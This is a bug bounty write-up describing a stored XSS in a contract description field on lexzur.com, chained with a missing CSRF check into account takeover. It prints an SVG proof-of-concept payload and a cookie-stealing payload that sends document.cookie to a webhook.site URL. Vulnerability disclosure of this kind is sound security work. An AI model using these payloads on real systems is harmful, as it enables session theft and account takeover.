Bug Bounty

Chaining Stored XSS and CSRF to Account Takeover

While hunting on lexzur.com, I found a stored XSS in a document description field. On its own, that's a decent find. But when I noticed the same endpoint had no…

Chaining Stored XSS and CSRF to Account Takeover

While hunting on lexzur.com, I found a stored XSS in a document description field. On its own, that's a decent find. But when I noticed the same endpoint had no CSRF protection either, the whole thing turned into something much scarier  a zero-click account takeover chain.

Here's how it went down.


Step 1  Locating the Injection Point

The Contract/Document module allows users to attach a free-text Description to any uploaded contract or document. This description is later rendered back to any user who views that document — including other admins and team members it's shared with.

Free-text fields that get rendered back to other users are a classic place to check for missing output encoding, so I started there.

The field is reachable via Upload Contract/Document → Details, then clicking the pencil (edit) icon next to the description. It accepted raw input with no visible client-side filtering.

Step 2  Confirming Stored XSS

I injected the following payload into the Description field and saved it:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
  <script>
    alert(1)
  </script>
</svg>

Result: The payload was stored without sanitization and executed immediately on page load, firing an alert(1) popup.

Because the description is shown to any user with access to the shared document — not just the person who entered it — this is a true stored (persistent) XSS, not a self-XSS. Any admin, organization member, or shared collaborator who opens the document becomes a victim.


Step 3  Escalating: No CSRF Protection on the Same Endpoint

A day after the initial finding, I went back to test whether the description-update endpoint validated request origin. It didn't.

The endpoint accepted a forged POST request with no CSRF token, no origin check, and no user interaction required. That meant an attacker could host a malicious page that, when simply visited by a logged-in victim, silently submitted the stored XSS payload on the victim's behalf — no click, no confirmation, nothing.

This changes the exploitation model entirely:


Step 4  Weaponizing for Cookie Theft

To demonstrate real-world impact rather than just an alert() box, I swapped the PoC payload for a cookie-exfiltration payload:

<svg xmlns="http://www.w3.org/2000/svg" onload="
(new Image()).src='https://webhook.site/038f0e83-c0d8-4241-87ef-1e3362147fad?c='+encodeURIComponent(document.cookie)
"></svg>

Combined with the CSRF issue, the full attack chain looked like this:

  1. Attacker hosts a malicious auto-submitting form targeting the description-update endpoint
  2. Victim (any authenticated user) visits the attacker's page
  3. The forged request silently stores the XSS payload in a document description
  4. Any user who later views that document — including the original victim, teammates, or admins — has their document.cookie exfiltrated to an attacker-controlled webhook
  5. Stolen session cookies can be replayed for account takeover


=================================================================================

Impact Summary

Disclosure Timeline

Takeaways

  • Thanks for reading this writeup! ❤️